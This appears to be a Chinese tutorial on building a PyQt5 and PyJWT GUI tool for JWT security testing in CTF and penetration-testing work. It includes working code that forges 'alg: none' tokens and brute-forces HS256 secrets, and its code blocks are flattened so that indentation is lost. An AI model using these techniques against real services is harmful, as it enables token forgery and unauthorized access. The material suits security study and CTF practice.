当前位置: 首页 > news >正文

从Python课设到实战工具:手把手教你用PyQt5和PyJWT打造自己的JWT安全测试GUI

从Python课设到实战工具:手把手教你用PyQt5和PyJWT打造自己的JWT安全测试GUI

在CTF竞赛和日常渗透测试中,JWT(JSON Web Token)安全测试是绕不开的课题。传统命令行工具虽然功能强大,但对新手不够友好,特别是在内网隔离环境中,一个图形化的本地工具往往能成为救命稻草。本文将带你从零开始,用Python生态中最成熟的GUI框架PyQt5和安全库PyJWT,构建一个兼具教学意义和实战价值的JWT安全测试工具。

1. 为什么选择PyQt5+PyJWT技术栈

技术选型往往决定项目的成败。在Python GUI开发领域,PyQt5凭借其丰富的组件库和跨平台特性成为首选。对比Tkinter,PyQt5的QSS样式表可以实现更专业的界面设计;相较PySimpleGUI,它又提供了更底层的控制能力。以下是核心优势对比:

特性PyQt5TkinterPySimpleGUI
组件丰富度★★★★★★★★☆☆★★★★☆
界面美观度★★★★★★★☆☆☆★★★★☆
学习曲线★★★☆☆★★☆☆☆★☆☆☆☆
商业授权需要免费免费

PyJWT则是Python生态中JWT处理的事实标准,支持HS256/RS256等主流算法。其API设计简洁但功能完整,特别适合教学演示。需要注意的是,某些CTF题目会使用非标准实现(如PHP的JWT库),这时就需要特殊处理。

提示:实际开发中发现PyJWT的header顺序固定为{"typ":"JWT","alg":"HS256"},这可能影响某些CTF题目的密钥爆破,后文会给出解决方案。

2. 核心功能模块设计与实现

2.1 基础加解密功能

加解密是JWT工具的核心功能。通过PyQt5的QTextEdit组件接收输入,用PyJWT处理后再输出结果。关键代码逻辑如下:

def decode_jwt(self): try: token = self.ui.input_text.toPlainText() # 自动检测算法 decoded = jwt.decode(token, options={"verify_signature": False}) self.ui.payload_text.setPlainText(json.dumps(decoded, indent=2)) except Exception as e: self.show_error(str(e)) def encode_hs256(self): try: payload = json.loads(self.ui.payload_text.toPlainText()) secret = self.ui.secret_text.text() new_token = jwt.encode(payload, secret, algorithm="HS256") self.ui.output_text.setPlainText(new_token) except Exception as e: self.show_error(str(e))

常见问题处理

  • 非标准格式处理(如CTFshow web345的[{}]包裹格式)
  • 自动补全缺失的.分隔符
  • 处理单引号JSON等非标准输出

2.2 None攻击实现

None攻击是JWT的经典漏洞利用方式。实现时需要特别注意:

  1. 强制修改header为{"alg":"none"}
  2. 移除签名部分
  3. 处理不同语言库的格式差异
def none_attack(self): try: token = self.ui.input_text.toPlainText() parts = token.split('.') if len(parts) != 3: raise ValueError("Invalid JWT format") # 构造新的header new_header = json.dumps({"alg": "none", "typ": "JWT"}) new_header_b64 = base64.urlsafe_b64encode(new_header.encode()).decode().rstrip("=") # 组合新token new_token = f"{new_header_b64}.{parts[1]}." self.ui.output_text.setPlainText(new_token) except Exception as e: self.show_error(str(e))

3. 密钥爆破功能进阶实现

3.1 多模式爆破设计

针对不同场景,我们实现三种爆破模式:

  1. 纯数字爆破:适用于简单CTF题目

    • 范围:0-99999(5位内)
    • 每秒约尝试2000次(i5-8250U测试数据)
  2. 字典爆破

    • 内置弱口令字典(password.txt)
    • 支持自定义字典路径
  3. 混合爆破

    • 前3位字母+后2位数字组合
    • 需要约3分钟完成全部组合
def brute_force(self): token = self.ui.input_text.toPlainText() if self.ui.mode_digits.isChecked(): self.brute_digits(token) elif self.ui.mode_dict.isChecked(): self.brute_dict(token) else: self.brute_mixed(token) def brute_digits(self, token): for i in range(100000): # 0-99999 try: jwt.decode(token, str(i), algorithms=["HS256"]) self.found_key.emit(str(i)) return except: continue

3.2 爆破优化技巧

实际测试中发现几个关键问题:

  1. Header顺序影响:PyJWT默认使用{"typ":"JWT","alg":"HS256"}顺序,而某些题目使用相反顺序

    • 解决方案:修改PyJWT源码中的_get_default_headers方法
    def _get_default_headers(): return {"alg": "HS256", "typ": "JWT"} # 修改默认顺序
  2. 性能优化

    • 使用多线程加速(QThread)
    • 提前计算payload的hash值减少重复运算
  3. 字典预处理

    • 移除重复项
    • 按长度排序优先尝试短密钥

4. 工程化与打包实战

4.1 依赖管理

使用requirements.txt管理依赖:

PyQt5==5.15.7 PyJWT==2.4.0 pyinstaller==5.0

4.2 PyInstaller打包技巧

打包时常见问题及解决方案:

问题现象解决方案
找不到PyJWT模块添加--hidden-import=jwt参数
打包后爆破功能失效检查是否所有.pyjwt文件都已修改
图标不显示使用绝对路径指定图标文件
杀毒软件误报使用代码签名证书

完整打包命令:

pyinstaller -F -w --icon=app.ico --add-data="password.txt;." main.py

4.3 跨平台兼容性处理

  1. 路径处理

    if getattr(sys, 'frozen', False): base_path = sys._MEIPASS else: base_path = os.path.dirname(__file__) dict_path = os.path.join(base_path, "password.txt")
  2. 换行符统一

    with open(dict_path, 'r', newline='') as f: words = [line.strip() for line in f]

5. 功能扩展与进阶方向

5.1 支持更多算法类型

当前工具主要支持HS256和RS256,可以扩展支持:

  • ES256/ES384 (ECDSA)
  • PS256 (RSA-PSS)
  • 自定义哈希算法

5.2 与其他工具集成

  1. Burp Suite联动

    • 通过Burp的API自动获取请求中的JWT
    • 将结果自动写回Burp
  2. Node.js支持

    • 集成node命令调用jsonwebtoken
    • 处理PHP等非标准JWT实现

5.3 实战技巧分享

在内网CTF比赛中,这个工具帮我解决了几个关键问题:

  1. 当题目服务器只能返回Base64编码的JWT时,快速验证解码结果
  2. 遇到非标准分隔符(如_代替.)时,通过修改代码快速适配
  3. 在无法访问外部网络的隔离环境中,本地爆破弱密钥
http://www.jsqmd.com/news/538267/

相关文章:

  • 从零开始学目标检测|YOLO 系列从入门到部署
  • Abp动态http接口数据有缓存
  • 广州绿净丰这家过滤器靠谱生产商,选购时要注意什么? - mypinpai
  • 2026年知名的山东全自动碾米机/山东成套碾米机热门厂家推荐汇总 - 行业平台推荐
  • Transformer架构与文本生成机制
  • 2026年靠谱的除臭/养殖除臭机/养殖除臭厂家推荐及选购指南 - 行业平台推荐
  • Keil5环境下编译旧版CMSIS-DAP固件踩坑记:以STM32F103为例
  • 学术论战下的NMN 2.0时代:2026年NMN合规品牌榜,5大品牌顶刊实证对比 - 速递信息
  • 从零开始学 TensorFlow|工业级深度学习框架实战
  • 告别窗口混战:如何用Loop构建个人化工作空间
  • 台州打玻尿酸怎么选?越是简单项目越要看机构 - 资讯焦点
  • RKE2 vs K3s:哪个更适合你的Kubernetes需求?详细对比与选型建议
  • JWPlayer v8.36.2 二次开发版本,可以离线运行,去水印,去跟踪代码,支持vast广告
  • 2026年空气过滤器制造商价格大揭秘,源头过滤器厂家哪家强 - 工业设备
  • BGE-M3实战:快速构建基于语义相似度的智能检索系统
  • Stable Yogi Leather-Dress-Collection 环境配置指南:Ubuntu系统依赖全解析
  • 2026年靠谱的模块化预制钢结构/智能预制钢结构/预制钢结构定制/预制钢结构工程精选公司 - 行业平台推荐
  • 苏州非标机械设计培训选购指南:从0到1选对能落地的实战课程 - 速递信息
  • AI Agent时代的欺诈暗面:从OpenClaw到自动化黑产,金融风控如何应对无人值守攻击 - 博客万
  • FLUX小红书V2图像生成效果展示:不同LORA权重的视觉差异对比
  • 2026年装修效果趋势:从视觉到生活的全维度进化 - 速递信息
  • 基于深度学习的果蔬分类毕业设计:AI辅助开发全流程实战与避坑指南
  • 【企业级Python低代码平台白皮书】:工信部信通院合作项目核心成果,仅限本周开放下载权限
  • Python实战:5分钟搞定OpenAI API接入与聊天机器人开发(附完整代码)
  • 基于Web的毕业设计论文:从零构建可扩展的学术管理系统技术指南
  • 25年广州中考压轴题 动点最值+相似+隐圆
  • 家里闲置的大润发购物卡别浪费!这样处理省心又划算 - 团团收购物卡回收
  • 智能客服对话前端实现:如何通过优化 WebSocket 连接提升消息吞吐效率
  • 2025技术解析:majsoul_mod_plus的游戏体验增强实现方案
  • 2026年GEO优化哪家操作便捷?标准化系统与自助化流程服务商精选 - 品牌2025